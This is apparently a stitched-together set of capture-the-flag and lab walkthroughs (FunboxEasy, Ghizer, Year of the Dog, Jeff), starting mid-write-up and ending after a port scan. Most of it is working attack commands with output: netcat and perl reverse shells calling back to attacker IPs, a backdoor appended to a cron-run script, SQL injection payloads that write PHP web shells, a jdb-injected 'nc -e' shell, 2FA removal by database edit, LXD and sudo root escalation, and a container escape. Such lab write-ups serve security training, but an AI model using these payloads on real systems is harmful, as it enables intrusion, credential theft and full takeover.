joe@funbox:~$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.70 9002 >/tmp/f" >> /home/funny/.backup.sh
joe@funbox:~$ cat /home/funny/.backup.sh #!/bin/bash tar -cf /home/funny/html.tar /var/www/html rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.70 9002 >/tmp/f
┌──(kali㉿puckie)-[~/offsec]
└─$ nc -nlvp 9002
listening on [any] 9001 ...
connect to [192.168.49.70] from (UNKNOWN) [192.168.70.77] 41004
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#

.PrivEsc Method 2

user@user:~$ git clone https://github.com/saghul/lxd-alpine-builder.git
Cloning into ‘lxd-alpine-builder’…
remote: Enumerating objects: 27, done.
remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27
Unpacking objects: 100% (27/27), 15.98 KiB | 743.00 KiB/s, done.

I then cd into the new directory and install the alpine build:

user@user:~$ cd lxd-alpine-builder/
user@user:~/lxd-alpine-builder$ ./build-alpine
build-alpine: must be run as root
user@user:~/lxd-alpine-builder$ sudo ./build-alpine
[sudo] password for user:

There should be a tar.gz file created in the directory. Let’s check:

Great! Now we need to get that file over to the target machine. Let’s set up our python server for the transfer:
$ wget http://192.168.1.180/alpine-v3.14-x86_64-20210831_0326.tar.gz
--2021-08-31 10:40:49-- http://192.168.1.180/alpine-v3.14-x86_64-20210831_0326.tar.gz
Connecting to 192.168.1.180:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3252130 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.14-x86_64-20210831_0326.tar.gz’

0K .......... .......... .......... .......... .......... 1% 1.29M 2s
50K .......... .......... .......... .......... .......... 3% 3.09M 2s
--snip-- 
3100K .......... .......... .......... .......... .......... 99% 550M 0s
3150K .......... .......... ..... 100% 597M=0.1s

2021-08-31 10:40:49 (31.9 MB/s) - ‘alpine-v3.14-x86_64-20210831_0326.tar.gz’ saved [3252130/3252130]

$ ls -la
total 50784
drwxr-xr-x 3 funny funny 4096 Aug 31 10:40 .
drwxr-xr-x 4 root root 4096 Jun 19 2020 ..
-rw-rw-r-- 1 funny funny 3252130 Aug 31 07:26 alpine-v3.14-x86_64-20210831_0326.tar.gz
-rwxrwxrwx 1 funny funny 97 Aug 31 06:45 .backup.sh
-rw------- 1 funny funny 1462 Jul 18 2020 .bash_history
-rw-r--r-- 1 funny funny 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 funny funny 3771 Feb 25 2020 .bashrc
drwx------ 2 funny funny 4096 Jun 19 2020 .cache
-rw-rw-r-- 1 funny funny 48701440 Aug 31 10:40 html.tar
-rw-r--r-- 1 funny funny 807 Feb 25 2020 .profile
-rw-rw-r-- 1 funny funny 162 Jun 19 2020 .reminder.sh
-rw-rw-r-- 1 funny funny 74 Jun 19 2020 .selected_editor
-rw-r--r-- 1 funny funny 0 Jun 19 2020 .sudo_as_admin_successful
-rw------- 1 funny funny 7791 Jul 18 2020 .viminfo
$ export PATH=$PATH:/snap/bin
$ lxc image import ./alpine-v3.14-x86_64-20210831_0326.tar.gz --alias myimage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04

Image imported with fingerprint: 817a25617875d8f1322465754db87e0a5162fc8a6a54ee6718925e7b5dcee929
$ lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-------------------------------+
| myimage | 817a25617875 | no | alpine v3.14 (20210831_03:26) | x86_64 | CONTAINER | 3.10MB | Aug 31, 2021 at 10:44am (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-------------------------------+
$ python -c 'import pty; pty.spawn("/bin/sh")'
$ lxc init myimage ignite -c security.privileged=true
lxc init myimage ignite -c security.privileged=true
Creating ignite
Error: No storage pool found. Please create a new storage pool
$ lxd init
lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:

Do you want to configure a new storage pool? (yes/no) [default=yes]:

Name of the new storage pool [default=default]:

Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:

Create a new ZFS pool? (yes/no) [default=yes]:

Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:

Size in GB of the new loop device (1GB minimum) [default=5GB]:

Would you like to connect to a MAAS server? (yes/no) [default=no]:

Would you like to create a new local network bridge? (yes/no) [default=yes]:

What should the new bridge be called? [default=lxdbr0]:

What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:

What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: none
none
Would you like the LXD server to be available over the network? (yes/no) [default=no]:

Would you like stale cached images to be updated automatically? (yes/no) [default=yes]

Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:

$ lxc init myimage ignite -c security.privileged=true
lxc init myimage ignite -c security.privileged=true
Creating ignite
$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
$ lxc start ignite
lxc start ignite
$ lxc exec ignite /bin/sh
lxc exec ignite /bin/sh
~ # ^[[30;5Rid
id
uid=0(root) gid=0(root)
~ # ^[[30;5Rcd /mnt

.

 

pwd
/var/spool/cron/crontabs
ls -la
total 16
drwx-wx--T 2 root crontab 4096 Jun 19 2020 .
drwxr-xr-x 5 root root 4096 Apr 23 2020 ..
-rw------- 1 funny crontab 1125 Jun 19 2020 funny
-rw------- 1 root crontab 1125 Jun 19 2020 root
cat funny
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.n8Fr20/crontab installed on Fri Jun 19 14:33:06 2020)
--snippp
# m h dom mon dow command
*/2 * * * * /home/funny/.backup.sh
cat root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.gcHh7z/crontab installed on Fri Jun 19 13:57:00 2020)
--snip--
# m h dom mon dow command
*/5 * * * * /home/funny/.backup.sh

.

 

pg-funboxeasy-play

FunboxEasy

Nmap
nmap 192.168.178.111 -p- -sS -sV
Host is up (0.097s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
33060/tcp open mysqlx?

Checking out port 80 we have the default install page for Apache 2.

Checking the source on this page reveals no interesting information. From here I executed dirsearch.py against the target machine.

sudo python3 dirsearch.py -u http://192.168.178.111/ -w /usr/share/seclists/Discovery/Web-Content/common.txt –full-url -t 75

Checking the directory /store we are presented a web page for ‘CSE bookstore’.

/store

Researching exploits on Google for ‘CSE bookstore’ we are presented with an exploit for Unauthenticated RCE. The exploit PoC has been linked below.

Online Book Store 1.0 – Unauthenticated Remote Code Execution
Online Book Store 1.0 – Unauthenticated Remote Code Execution.. webapps exploit for PHP platform
www.exploit-db.com

After downloading the PoC I executed it with the following command:

python3 47887.py http://192.168.178.111/store/

When prompted to launch a shell hit ‘y’.

This shell stops us from properly navigating the target machine and will return us back to the current working directory when the command has finished executing. As such I checked what binary’s are installed on the target machine so we can spawn a shell where we can navigate the target properly.

As per above perl is installed on the system. From here I started a netcat listener on my attacking machine.

sudo nc -lvp 80

I then executed the following command to gain a perl reverse shell.

perl -e ‘use Socket;$i=”192.168.49.178″;$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“sh -i”);};’

Moving into the home directory and then into the user tony’s home directory we have passwords.txt. Reading the contents of this text file shows the following information:

ssh: yxcvbnmYYY
gym/admin: asdfghjklXXX
/store: admin@admin.com admin

I then able to login with the SSH password for the user tony.

Checking sudo -l for sudo permissions we come into a multitude of entries.

As we can execute sudo as the user root without supplying a password here We can use pkexec or time to spawn a bash shell as root.

tony@funbox3:/var/www$ sudo /usr/bin/time /bin/bash

root@funbox3:/var/www# id
uid=0(root) gid=0(root) groups=0(root)

Alternative way

Login Bruteforce

We can simply try one of the well-known default credential pairs admin:admin against http://192.168.120.224/store/admin.php. And we will find that we are logged in as the administrator user of this web store.

SQL Injection Vulnerability

Alternatively, we can exploit an SQL injection vulnerability in the unauthenticated portion of this application. Clicking on a book image we are directed to its page with the bookisbn GET parameter, like this:

http://192.168.178.111/store/book.php?bookisbn=978-1-49192-706-9

We can try a simple payload to test for SQLi vulnerabilities ' or 1=1; --, like so:

http://192.168.178.111/store/book.php?bookisbn=%27%20or%201=1;%20--

And we see that this application indeed seems to be vulnerable based on the following verbose error:

Can't retrieve data You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '--'' at line 1

SQLMap

Since the website directory for the store is aptly names store, we can venture an educated guess that the underlying database might also be named store. Using sqlmap, we can automate the exploitation and leak database contents:

kali@kali:~$ sqlmap -u http://192.168.178.111/store/book.php?bookisbn= --dump-all --batch -D store
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.10#stable}
|_ -| . [.]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

...

Database: store                                                                                                          
Table: admin
[1 entry]
+-------+--------------------------------------------------+
| name  | pass                                             |
+-------+--------------------------------------------------+
| admin | d033e22ae348aeb5660fc2140aec35850c4da997 (admin) |
+-------+--------------------------------------------------+
...
kali@kali:~$ 

And we have obtained the user credentials admin:admin via this vulnerability.

File Upload Vulnerability

Having logged in with the recovered or guessed credentials admin:admin at http://192.168.120.224/store/admin.php, we are redirected to http://192.168.120.224/store/admin_book.php. This page shows a listing of existing books.

In addition, we see a link to Add new book in the top-left portion of the screen that leads us to http://192.168.120.224/store/admin_add.php. Here, it looks like we are able to upload a new file to the store.

We can try uploading a PHP reverse shell from PentestMonkey:

kali@kali:~$ cp /usr/share/webshells/php/php-reverse-shell.php rev.php

We will be sure to change IP address and port as needed:

kali@kali:~$ cat rev.php 
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
...

$ip = '192.168.118.3';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
...
kali@kali:~$

There is one caveat in the upload process: the Publisher text field cannot be arbitrary and must be one of several choices. We can easily view these choices on the page http://192.168.120.224/store/publisher_list.php:

kali@kali:~$ curl http://192.168.120.224/store/publisher_list.php
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
...
<div class="container" id="main">   <p class="lead">List of Publisher</p>
        <ul>
                        <li>
                        <span class="badge">2</span>
                    <a href="bookPerPub.php?pubid=1">Wrox</a>
                </li>
                        <li>
                        <span class="badge">2</span>
                    <a href="bookPerPub.php?pubid=2">Wiley</a>
                </li>
                        <li>
                        <span class="badge">3</span>
                    <a href="bookPerPub.php?pubid=3">O'Reilly Media</a>
                </li>
                        <li>
                        <span class="badge">3</span>
                    <a href="bookPerPub.php?pubid=4">Apress</a>
                </li>
                        <li>
                        <span class="badge">0</span>
                    <a href="bookPerPub.php?pubid=5">Packt Publishing</a>
                </li>
                        <li>
                        <span class="badge">1</span>
                    <a href="bookPerPub.php?pubid=6">Addison-Wesley</a>
                </li>
                        <li>
                        <a href="books.php">List full of books</a>
                </li>
        </ul>
...

We see Apress as one of the choices listed, and we will use this publisher label. The rest of the fields can contain arbitrary data, like so:

fileupload

If we now return to http://192.168.120.224/store/admin_book.php, we will see our new entry added to the top of the list:

ISBN 	Title 	Author 	Image 	Description 	Price 	Publisher 	  	 
shell 	shell 	hacker 	php-reverse-shell.php 	shell 	10.00 	Apress 	Edit 	Delete

Next, we will set up a listener on port 4444 and then trigger the reverse shell by navigating to http://192.168.53.111/store/bootstrap/img/rev.php

kali@kali:~$ nc -lvp 4444
listening on [any] 4444 ...
192.168.120.224: inverse host lookup failed: Unknown host
connect to [192.168.118.3] from (UNKNOWN) [192.168.120.224] 38114
Linux funbox3 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 17:16:51 up  1:03,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

And we have a reverse shell as user www-data.

.

 

thm-ghizer-public

Nmap

Let’s start by running a port scan on the host using nmap.
The output of the scan can be seen below:

1
2
3
4
5
6
7
8
9
nmap -v -sS -sV 10.10.40.50

Nmap scan report for 10.10.40.50
Host is up (0.088s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE  VERSION
21/tcp  open  ftp?
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))

Port 21 (ftp)

There is not Anonymous authentication for this FTP service.

Port 80 (http)

LimeSurvey is an advanced online survey system to create online surveys.

 

Port 443 (https)

Here we can find a WordPress site with a note that the default /wp-login was hidden.

 

Directory Brute-Forcing

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
gobuster dir -e -u http://10.10.40.50 -w /usr/share/wordlists/dirb/common.txt -x txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.40.50
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/04/05 07:39:01 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.40.50/.hta                 (Status: 403) [Size: 276]
http://10.10.40.50/.hta.txt             (Status: 403) [Size: 276]
http://10.10.40.50/.htaccess            (Status: 403) [Size: 276]
http://10.10.40.50/.htpasswd.txt        (Status: 403) [Size: 276]
http://10.10.40.50/.htaccess.txt        (Status: 403) [Size: 276]
http://10.10.40.50/.htpasswd            (Status: 403) [Size: 276]
http://10.10.40.50/admin                (Status: 301) [Size: 310] [--> http://10.10.40.50/admin/]
http://10.10.40.50/application          (Status: 301) [Size: 316] [--> http://10.10.40.50/application/]
http://10.10.40.50/assets               (Status: 301) [Size: 311] [--> http://10.10.40.50/assets/]     
http://10.10.40.50/docs                 (Status: 301) [Size: 309] [--> http://10.10.40.50/docs/]       
http://10.10.40.50/framework            (Status: 301) [Size: 314] [--> http://10.10.40.50/framework/]  
http://10.10.40.50/index.php            (Status: 200) [Size: 40931]                                    
http://10.10.40.50/installer            (Status: 301) [Size: 314] [--> http://10.10.40.50/installer/]  
http://10.10.40.50/locale               (Status: 301) [Size: 311] [--> http://10.10.40.50/locale/]     
http://10.10.40.50/plugins              (Status: 301) [Size: 312] [--> http://10.10.40.50/plugins/]    
http://10.10.40.50/server-status        (Status: 403) [Size: 276]                                      
http://10.10.40.50/tests                (Status: 301) [Size: 310] [--> http://10.10.40.50/tests/]      
http://10.10.40.50/themes               (Status: 301) [Size: 311] [--> http://10.10.40.50/themes/]     
http://10.10.40.50/tmp                  (Status: 301) [Size: 308] [--> http://10.10.40.50/tmp/]        
http://10.10.40.50/upload               (Status: 301) [Size: 311] [--> http://10.10.40.50/upload/]     

Navigating to the found /admin resource we have a login portal.

 

Using the default LimeSurvey credentials admin:password, we can successfully log in.

 

Current running LimeSurvey version is 3.15.9.


LimeSurvey Exploitation

Using searchsploit, we will find that there is a RCE for LimeSurvey versions < 3.16.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
searchsploit limesurvey
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
LimeSurvey (PHPSurveyor 1.91+ stable) - Blind SQL Injection                        | php/webapps/18508.txt
LimeSurvey (phpsurveyor) 1.49rc2 - Remote File Inclusion                           | php/webapps/4156.txt
LimeSurvey 1.52 - 'language.php' Remote File Inclusion                             | php/webapps/4544.txt
LimeSurvey 1.85+ - 'admin.php' Cross-Site Scripting                                | php/webapps/35787.txt
LimeSurvey 1.92+ build120620 - Multiple Vulnerabilities                            | php/webapps/19330.txt
LimeSurvey 2.00+ (build 131107) - Multiple Vulnerabilities                         | php/webapps/29789.txt
LimeSurvey 3.17.13 - Cross-Site Scripting                                          | php/webapps/47386.txt
LimeSurvey 4.1.11 - 'File Manager' Path Traversal                                  | php/webapps/48297.txt
LimeSurvey 4.1.11 - 'Permission Roles' Persistent Cross-Site Scripting             | php/webapps/48523.txt
LimeSurvey 4.1.11 - 'Survey Groups' Persistent Cross-Site Scripting                | php/webapps/48289.txt
LimeSurvey 4.3.10 - 'Survey Menu' Persistent Cross-Site Scripting                  | php/webapps/48762.txt
LimeSurvey < 3.16 - Remote Code Execution                                          | php/webapps/46634.py
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Gaining Access

This exploit can be find on the Exploit-DB. The point of this exploitation is that the vulnerable versions are affected to a serialization attack via the “phar://” wrapper.

Providing found default credentials and running the exploit will give us a shell as a user www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
python 46634.py http://10.10.40.50 admin password
[*] Logging in to LimeSurvey...
[*] Creating a new Survey...
[+] SurveyID: 231443
[*] Uploading a malicious PHAR...
[*] Sending the Payload...
[*] TCPDF Response: <strong>TCPDF ERROR: </strong>[Image] Unable to get the size of the image: phar://./upload/surveys/231443/files/malicious.jpg
[+] Pwned! :)
[+] Getting the shell...
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Performing a basic manual enumeration, we will find a config.php for LimeSurvey.

1
2
3
4
5
6
7
$ find / -type f -name "config.php" 2>/dev/null
/var/www/html/wordpress/wp-content/plugins/akismet/views/config.php
/var/www/html/limesurvey/framework/messages/config.php
/var/www/html/limesurvey/application/config/config.php
/var/www/html/limesurvey/third_party/kcfinder/conf/config.php

cat /var/www/html/limesurvey/application/config/config.php

This file includes credentials for a user called Anny.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
. . .
return array(
	'components' => array(
		'db' => array(
			'connectionString' => 'mysql:host=localhost;port=3306;dbname=limedb;',
			'emulatePrepare' => true,
			'username' => 'Anny',
			'password' => 'P4$W0RD!!#S3CUr3!',
			'charset' => 'utf8mb4',
			'tablePrefix' => 'lime_',
		),
. . .

WordPress Exploitaion

 

In the Meta section, we can see Log In label which will redirects us to the hidden login portal ?devtools . There we can use found credentials to log in as Anny.

Gaining Access

From the previous experiences exploiting WordPress, we know that we can get a reverse shell through the page editor.

We will navigate to Appearance -> Editor. Then we will choose /archive.php and change its content to php reverse shell
After editing IP address and desired port, we will press the Update file button.

Before visiting updated php file, don’t forget to start a listener on your local machine.
Then we will navigate to
http://10.10.40.50/wp-content/themes/{themename}/archive.php
and successfully gain access as a www-data user.


Lateral Movement

Performing a basic manual system enumeration, we will find that beside other services there is one running on port 18001. This is a JDWP debug port used by Ghidra when launching in the debug mode opened to all interfaces.

Ghidra is a Java-based reverse engineering framework that features a graphical user interface (GUI) and has been designed to run on a variety of platforms including Windows, macOS, and Linux. (more)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
$ netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:18001         0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::34051                :::*                    LISTEN      -               
tcp6       0      0 :::37805                :::*                    LISTEN      -               
tcp6       0      0 :::80                   :::*                    LISTEN      -               
tcp6       0      0 :::18002                :::*                    LISTEN      -               
tcp6       0      0 ::1:631                 :::*                    LISTEN      -               
tcp6       0      0 :::443                  :::*                    LISTEN      -               
tcp6       0      0 :::443                  :::*                    LISTEN      -               
tcp6       0      0 :::443                  :::*                    LISTEN      -               
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           -               
udp        0      0 0.0.0.0:33149           0.0.0.0:*                           -               
udp        0      0 0.0.0.0:631             0.0.0.0:*                           -               
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -               
udp6       0      0 :::5353                 :::*                                -               
udp6       0      0 :::58160                :::*                                -               

It is possible to perform RCE Through JDWP Debug Port. We will proceed according to the PoC video. The main point is to set a breakpoint on a class with run() method. Then when the breakpoint is hit, we will execute java reverse shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
www-data@ubuntu:/$ jdb -attach 127.0.0.1:18001
jdb -attach 127.0.0.1:18001
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
> classpath
classpath
base directory: /home/veronica
classpath: [/home/veronica/ghidra_9.0/support/../Ghidra/Framework/Utility/lib/Utility.jar]
> classes
. . .
> stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
> 
Breakpoint hit: "thread=Log4j2-TF-4-Scheduled-1", org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run(), line=96 bci=0

Log4j2-TF-4-Scheduled-1[1] print new java.lang.Runtime().exec(“nc -e 10.9.140.180 8888 /bin/sh”)

On the output below, we can see that we received a shell as a user veronica.

1
2
3
4
5
6
7
8
9
nc -lnvp 8888
listening on [any] 8888 ...
connect to [10.9.140.180] from (UNKNOWN) [10.10.98.112] 55378
id
uid=1000(veronica) gid=1000(veronica) groups=1000(veronica),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
python -c 'import pty;pty.spawn("/bin/bash")';
veronica@ubuntu:~$ wc user.txt
wc user.txt
 1  1 70 user.txt

Privilege Escalation

By issuing sudo -l, we can see which commands we can execute as root and some other important information.

1
2
3
4
5
6
7
8
9
veronica@ubuntu:~$ sudo -l
sudo -l
Matching Defaults entries for veronica on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User veronica may run the following commands on ubuntu:
    (ALL : ALL) ALL
    (root : root) NOPASSWD: /usr/bin/python3.5 /home/veronica/base.py

Based on the output above, we can ran base.py as a user root.
We will delete this file and create a python script with the same name and one liner to spawn a bash shell as a user root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
veronica@ubuntu:~$ ls -la
ls -la
total 152
drwxr-xr-x 22 veronica veronica 4096 Apr  5 07:05 .
drwxr-xr-x  3 root     root     4096 Jul 23  2020 ..
-rw-r--r--  1 root     root       86 Jul 23  2020 base.py
. . .
veronica@ubuntu:~$ rm -rf /home/veronica/base.py
veronica@ubuntu:~$ echo 'import pty;pty.spawn("/bin/bash")' > base.py
veronica@ubuntu:~$ sudo /usr/bin/python3.5 /home/veronica/base.py
sudo /usr/bin/python3.5 /home/veronica/base.py
root@ubuntu:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~# wc /root/root.txt
wc /root/root.txt
 1  1 70 /root/root.txt

Thanks to the fact that NOPASSWD is set for this command, we are able to successfully execute our base.py and get a root shell.

thm-yearofthedog-public

TryHackMeYear of the Dog Write-Up

topics: web application attacks, OWASP (SQL injection), code injection, sensitive data exposure, file upload bypassing, SSH tunnel, lateral movement, client side attacks (bypass 2FA), escaping containers, Linux Privilege Escalation

nmap -vv –reason -Pn -A –osscan-guess –version-all -p- -oN “/root/dog/results/10.10.221.0/scans/_full_tcp_nmap.txt” -oX “/root/dog/results/10.10.221.0/scans/xml/_full_tcp_nmap.xml” 10.10.221.0

There are only two ports open on this machine, SSH and HTTP. The homepage is a UK flag with a particular message:

if we delete the cookie we are issued a new number

We are issued a number from the queue. As there are only two open ports on this machine, we can surmise we’ll find an initial foothold this way, and the fact that we are being “queued’ and are issued a random number is an interesting sign.

The config.php page found by gobuster was empty, therefore all signs point towards this page. The only value we know that changes is the number when we reset our cookie value as if we were a new viewer. What happens if we change the value of the cookie and send a request?

We get a message that we are number “error” in the queue, this indicates the site might be vulnerable to SQL injection

SQL Injection

Let’s start with a simple apostrophe to determine the platform and version of SQL that this website uses

this server is using MySQL

This server is using MySQL so we can begin with simple UNION statements in MySQL that attempt to find the version, tables, columns and values they hold like usernames and passwords.

Lets try a statement to determine the number of columns ' union all select 1,2,3 -- -

If we remove a column we get the following message, confirming we have two columns

Lets determine the version, user, and table name using

‘ union all select 1,@@version — –
‘ union all select 1,user() — –
‘ union all select 1,table_name from information_schema.tables– –
replacing with database() reveals the “webapp” database

We can see the database is MySQL 5.7.31 on Ubuntu 18.04, running as the user web in the queue table and queueName column

Reading & Writing System Files

After attempting some common payloads to extract a username and password to SSH into, I decided to try other attack vectors. Occasionally, SQL databases have the ability to read system files and write files to the system, we can test using ' union all select 1,load_file("/etc/passwd")-- -

we can see the user for this machine is dylan

We can successfully read system files. We know this website uses PHP, we need to find a way to execute a reverse or bind PHP shell on this system. How can we write to the current directory?

We know the system is running Apache on Ubuntu so the working directory is most likely /var/www/html lets attempt to use INTO OUTFILE to write a file on the system

we can read the file we wrote to

Now that we’ve verified that we can write to the system, we can attempt to use PHP code to execute cmd and store it in URL based shell with ' union all select 1,"<?php echo shell_exec($_GET["cmd"]); ?>" INTO OUTFILE '/var/www/html/cmd.php' -- -

we hit a RCE filter
Local Privilege Escalation

The system has a filter that disallows random PHP code. We can inspect the source code of the website to determine what the filter is by loading the file with ' union all select 1,load_file("/var/www/html/index.php")-- -

The cookie is filtered via hex data, if we send the hex encoded command from above, we get an initial foothold. The specific command didn’t work but there are various ways to execute cmd with PHP including <?php system($_REQUEST['cmd']); ?> which worked using

‘ union all select 1,”0x3c3f706870206563686f207368656c6c5f6578656328245f4745545b22636d64225d293b203f3e” INTO OUTFILE ‘/var/www/html/test.php’ — –
the prefix 0xhex was needed as the system interpreted the encoded value as an invalid column
Initial Access

We can now download and execute a PHP reverse shell. Start an HTTP server and run

?cmd=wget http://10.6.18.145/me.php : URL shell
nc -nlvp 53
curl http://dog.thm/me.php
Lateral Movement

We aren’t the user dylan yet, but peeping around his home directory reveals compromising information.

This file work_analysis appears to be a log of an SSH brute force attempt

There are numerous error message within this log file. Parsing for only passwords prints basically the file itself, however if we parse passwords for perhaps dylan’s we see it is returned

We now have the credentials dylan:Labr4d0rs4L1f3 to login via SSH

we are now the user dylan
Root Privilege Escalation

Dylan does not have sudo privileges on the machine so we’ll have to search for other means of becoming root. I ran a LinEnum.sh script that returned vital information

Upon first glance, we notice there is a port running internally on 3000, something that our scans would not have found. We can create a tunnel to this port and inspect the service.

SSH Tunnel

We can also see dylan is running a web service called gitea which might be connected to the internal port.

We can create an SSH tunnel to this service using ssh -L 8000:localhost:3000 dylan@dog.thm

Bypass 2FA
we can now access the gitea service on our localhost:8000

If we try and login with dylan’s credentials we can see we are stopped by 2FA

We have dylan’s credentials, the owner of this service, perhaps we can discover a way to disable 2FA on the gitea app and login with dylan’s creds or find a hint for Dylan’s 2FA password.

We know of the service’s location via LinEnum.sh, lets list the contents and see if we find anything interesting.

We can see a binary .db file, lets attempt to parse this for strings relating to dylan or 2FA.

We see 2FA is controlled by, two_factor. Since we now know the name of 2FA, we can delete this requirement with python3

import sqlite3
c = sqlite3.connect(“gitea.db”)
c.execute(“delete from two_factor”)
c.commit()
c.close()

Now when we login we aren’t required to enter 2FA

Gitea is a self hosted git service, meaning if we find an avenue to edit files we can potentially commit and push a reverse shell. Searching around the Test-repo settings we can see a section called Git Hooks which stores and runs repository scripts.

This file is a bash script so we can add a basic nc reverse shell and push the new commit. Following this we must clone the repository and push the new commit.

git clone http://127.0.0.1:3000/Dylan/Test-Repo.git

The user git has all sudo privileges, granting us root privileges

Escape Container

Checking the contents of the current directory we can see we are in a container and not on the main machine

For us to escape this container and elevate to root on the host machine, we have to find a shared folder between the container and host. When we create a binary file as user root within the container, it’s assigned a UID of root on the host OS.

We can effectively create a bash shell owned by root with SUID privileges. Navigating to / we see a directory /data which contains the same files as the gitea repository.

We can change the permissions of /bin/bash in the container and copy it to /data/bash using chmod 4755 /bin/bash && cp /bin/bash /data/bash

copying the bash shell from the container does not work. We have to copy the shell from the host OS with nc and change that to SUID permissions.

Checking the size of the new bash program, we can now execute the shell on the host OS with ./bash -p

we are now root on the host OS

thm-jeff-public

Nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.80 scan initiated Tue Jul  7 13:15:24 2020 as: nmap -sC -sV -oN nmap/initial 10.10.157.91
Nmap scan report for 10.10.157.91
Host is up (0.20s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 7e:43:5f:1e:58:a8:fc:c9:f7:fd:4b:40:0b:83:79:32 (RSA)
|   256 5c:79:92:dd:e9:d1:46:50:70:f0:34:62:26:f0:69:39 (ECDSA)
|_  256 ce:d9:82:2b:69:5f:82:d0:f5:5c:9b:3e:be:76:88:c3 (ED25519)
